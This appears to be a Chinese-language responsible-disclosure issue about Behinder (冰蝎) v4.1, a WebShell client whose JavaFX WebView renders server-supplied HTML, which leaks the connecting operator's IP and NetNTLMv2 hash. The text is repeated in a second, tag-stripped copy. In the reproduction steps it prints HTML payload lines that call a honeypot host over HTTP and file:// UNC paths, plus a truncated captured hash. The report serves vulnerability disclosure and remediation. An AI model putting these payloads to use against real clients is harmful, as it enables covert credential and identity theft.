概述
在冰蝎 v4.1 中发现一个安全问题:客户端连接 WebShell 后,服务端返回的 basicInfo 字段(HTML 格式)被直接传入 JavaFX WebView.loadContent() 渲染,未经任何内容过滤或标签白名单限制。虽然代码中调用了 setJavaScriptEnabled(false) 禁用 JavaScript,但 WebView 的 HTML/CSS 解析器仍会自动加载 HTML 中引用的外部资源(图片、样式表、iframe 等)。恶意 WebShell 服务端(蜜罐)可利用此行为,在操作者连接的瞬间触发出站 HTTP 和 SMB 连接,捕获操作者的真实 IP、Windows 用户名、主机名、域名以及可离线破解的 NetNTLMv2 密码哈希,整个过程无需额外用户交互(0-click)。
影响版本
- 冰蝎 v4.1(其他版本未逐一验证,但只要
MainWindowController 中存在 WebView.loadContent(basicInfoStr) 且未过滤 HTML 标签即受影响)
复现步骤
1. 环境准备
准备一个 Python 蜜罐脚本,模拟 WebShell 服务端的冰蝎协议(AES/ECB + Base64 + JSON),在 BasicInfo 响应的 basicInfo 字段中注入包含外部资源引用的 HTML:
<img src="http://蜜罐IP:9090/beacon.png" width="1" height="1">
<link rel="stylesheet" href="http://蜜罐IP:9090/style.css">
<img src="file://蜜罐IP/share/logo.png" width="1" height="1">
蜜罐同时在对应端口启动 HTTP 信标服务器和 SMB 捕获服务器(impacket)。
2. 连接与触发
- 使用冰蝎客户端连接蜜罐的 WebShell 地址
- 冰蝎自动发送 Echo 握手 → 蜜罐返回正确的 Echo 响应(偏移校准)
- 冰蝎发送 BasicInfo 请求 → 蜜罐返回投毒的 BasicInfo 响应
- 客户端
MainWindowController 解密响应后直接调用 webengine.loadContent(basicInfoStr)
- WebView 渲染恶意 HTML,自动加载外部资源:
- HTTP 请求发往蜜罐的信标服务器 → 捕获真实 IP、User-Agent、Accept-Language
file://蜜罐IP/share/... 触发 SMB 连接 → Windows 自动发送 NTLM 认证 → 捕获 NetNTLMv2 哈希
- 全程 无任何弹窗、无需点击、无需额外操作
3. 实测结果
单次连接触发 12 个独立的出站 HTTP 请求(CSS、img、iframe、object、embed、prefetch、preload、meta-refresh),以及 SMB 连接。已成功捕获:
# HTTP Beacon
IP: 192.168.31.56
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/606.1 (KHTML, like Gecko) JavaFX/8.0 Safari/606.1
Language: zh-cn,en-us;q=0.8,en;q=0.7
# NetNTLMv2 Hash (hashcat -m 5600)
Administrator::PC-20241022AZEN:aaaaaaaaaaaaaaaa:f3bfabebe9ac...:<blob>
原因分析
setJavaScriptEnabled(false) 仅禁用了 JavaScript 执行引擎,但 JavaFX WebView(底层 WebKit 606.1)的 HTML 标签解析、CSS 解析和外部资源加载功能完全独立于 JS 引擎,仍然正常运行。服务端返回的 basicInfo HTML 在传入 loadContent() 之前没有任何过滤。
数据流:
服务端响应(AES加密)→ 客户端AES解密 → JSON解析 → Base64解码basicInfo字段 → loadContent(原始HTML) → WebKit解析HTML标签 → 自动加载<img>/<link>/<iframe>等外部资源 → HTTP出站连接(泄露IP/UA/语言)+ file://触发UNC路径 → Windows SMB自动认证 → NetNTLMv2哈希泄露
核心问题在于 loadContent() 直接渲染了服务端可控的 HTML 内容,而 setJavaScriptEnabled(false) 并不能阻止 HTML/CSS 层面的外部资源加载。
涉及代码位置
| 文件 |
行号 |
说明 |
net/rebeyond/behinder/ui/controller/MainWindowController.java |
156-157 |
WebEngine 初始化 + setJavaScriptEnabled(false) |
net/rebeyond/behinder/ui/controller/MainWindowController.java |
174 |
basicInfoStr 从服务端响应 Base64 解码,未过滤 |
net/rebeyond/behinder/ui/controller/MainWindowController.java |
192 |
webengine.loadContent(basicInfoStr) — 漏洞触发点 |
net/rebeyond/behinder/core/ShellService.java |
1436-1463 |
parseCommonAction() — AES 解密 + JSON 解析 + Base64 解码 |
com/sun/webkit/network/URLLoader.java |
185-209 |
workaround7177996() — file://host/path → \\host\path UNC 路径构造 |
net/rebeyond/behinder/payload/java/BasicInfo.java |
38-48 |
正常的 basicInfo HTML 生成逻辑(仅含 <br>/<font> 标签) |
建议修复方案
方案一:HTML 标签白名单过滤(最小改动)
在 loadContent() 之前对 basicInfoStr 进行标签白名单过滤,仅保留格式化标签,移除所有带外部引用属性的标签:
// 在 MainWindowController.java 第 192 行之前添加
String sanitized = basicInfoStr
.replaceAll("<(?!br|/br|font|/font|b|/b|i|/i)[^>]*>", "") // 仅保留安全标签
.replaceAll("(?i)(src|href|data|background|style)\\s*=", ""); // 移除危险属性
webengine.loadContent(sanitized);
方案二:替换为纯文本渲染(推荐)
将 WebView 替换为 TextArea 或 Label,以纯文本方式展示服务端信息,从根本上消除 HTML 解析带来的攻击面:
// 替代方案:用 TextArea 代替 WebView
TextArea infoArea = new TextArea();
infoArea.setEditable(false);
infoArea.setText(basicInfoStr.replaceAll("<[^>]*>", "")); // 去除所有 HTML 标签
方案三(深度加固):阻止外部资源加载
如必须保留 WebView,通过自定义 WebEngine 配置阻止外部协议加载:
- 拦截
http://、https://、file://、ftp:// 等非 data: 协议的资源请求
- 或设置严格的 Content-Security-Policy:
default-src 'none'; style-src 'unsafe-inline'
补充说明
- 本 issue 以负责任披露的原则提交,目的是帮助项目改进安全性
- 该问题为 0-click 漏洞,操作者连接 WebShell 的瞬间即触发,无需任何额外交互
- 攻击前提是恶意服务端知道冰蝎通信密码(对于蜜罐/反制场景,密码由蜜罐设定,天然已知)
- 已开发完整 PoC 蜜罐脚本(Python),如需进一步的技术细节或 PoC 代码,请联系我
概述
在冰蝎 v4.1 中发现一个安全问题:客户端连接 WebShell 后,服务端返回的
basicInfo字段(HTML 格式)被直接传入 JavaFXWebView.loadContent()渲染,未经任何内容过滤或标签白名单限制。虽然代码中调用了setJavaScriptEnabled(false)禁用 JavaScript,但 WebView 的 HTML/CSS 解析器仍会自动加载 HTML 中引用的外部资源(图片、样式表、iframe 等)。恶意 WebShell 服务端(蜜罐)可利用此行为,在操作者连接的瞬间触发出站 HTTP 和 SMB 连接,捕获操作者的真实 IP、Windows 用户名、主机名、域名以及可离线破解的 NetNTLMv2 密码哈希,整个过程无需额外用户交互(0-click)。影响版本
MainWindowController中存在WebView.loadContent(basicInfoStr)且未过滤 HTML 标签即受影响)复现步骤
1. 环境准备
准备一个 Python 蜜罐脚本,模拟 WebShell 服务端的冰蝎协议(AES/ECB + Base64 + JSON),在
BasicInfo响应的basicInfo字段中注入包含外部资源引用的 HTML:蜜罐同时在对应端口启动 HTTP 信标服务器和 SMB 捕获服务器(impacket)。
2. 连接与触发
MainWindowController解密响应后直接调用webengine.loadContent(basicInfoStr)file://蜜罐IP/share/...触发 SMB 连接 → Windows 自动发送 NTLM 认证 → 捕获 NetNTLMv2 哈希3. 实测结果
单次连接触发 12 个独立的出站 HTTP 请求(CSS、img、iframe、object、embed、prefetch、preload、meta-refresh),以及 SMB 连接。已成功捕获:
原因分析
setJavaScriptEnabled(false)仅禁用了 JavaScript 执行引擎,但 JavaFX WebView(底层 WebKit 606.1)的 HTML 标签解析、CSS 解析和外部资源加载功能完全独立于 JS 引擎,仍然正常运行。服务端返回的basicInfoHTML 在传入loadContent()之前没有任何过滤。数据流:
核心问题在于
loadContent()直接渲染了服务端可控的 HTML 内容,而setJavaScriptEnabled(false)并不能阻止 HTML/CSS 层面的外部资源加载。涉及代码位置
net/rebeyond/behinder/ui/controller/MainWindowController.javaWebEngine初始化 +setJavaScriptEnabled(false)net/rebeyond/behinder/ui/controller/MainWindowController.javabasicInfoStr从服务端响应 Base64 解码,未过滤net/rebeyond/behinder/ui/controller/MainWindowController.javawebengine.loadContent(basicInfoStr)— 漏洞触发点net/rebeyond/behinder/core/ShellService.javaparseCommonAction()— AES 解密 + JSON 解析 + Base64 解码com/sun/webkit/network/URLLoader.javaworkaround7177996()—file://host/path→\\host\pathUNC 路径构造net/rebeyond/behinder/payload/java/BasicInfo.javabasicInfoHTML 生成逻辑(仅含<br>/<font>标签)建议修复方案
方案一:HTML 标签白名单过滤(最小改动)
在
loadContent()之前对basicInfoStr进行标签白名单过滤,仅保留格式化标签,移除所有带外部引用属性的标签:方案二:替换为纯文本渲染(推荐)
将
WebView替换为TextArea或Label,以纯文本方式展示服务端信息,从根本上消除 HTML 解析带来的攻击面:方案三(深度加固):阻止外部资源加载
如必须保留 WebView,通过自定义
WebEngine配置阻止外部协议加载:http://、https://、file://、ftp://等非data:协议的资源请求default-src 'none'; style-src 'unsafe-inline'补充说明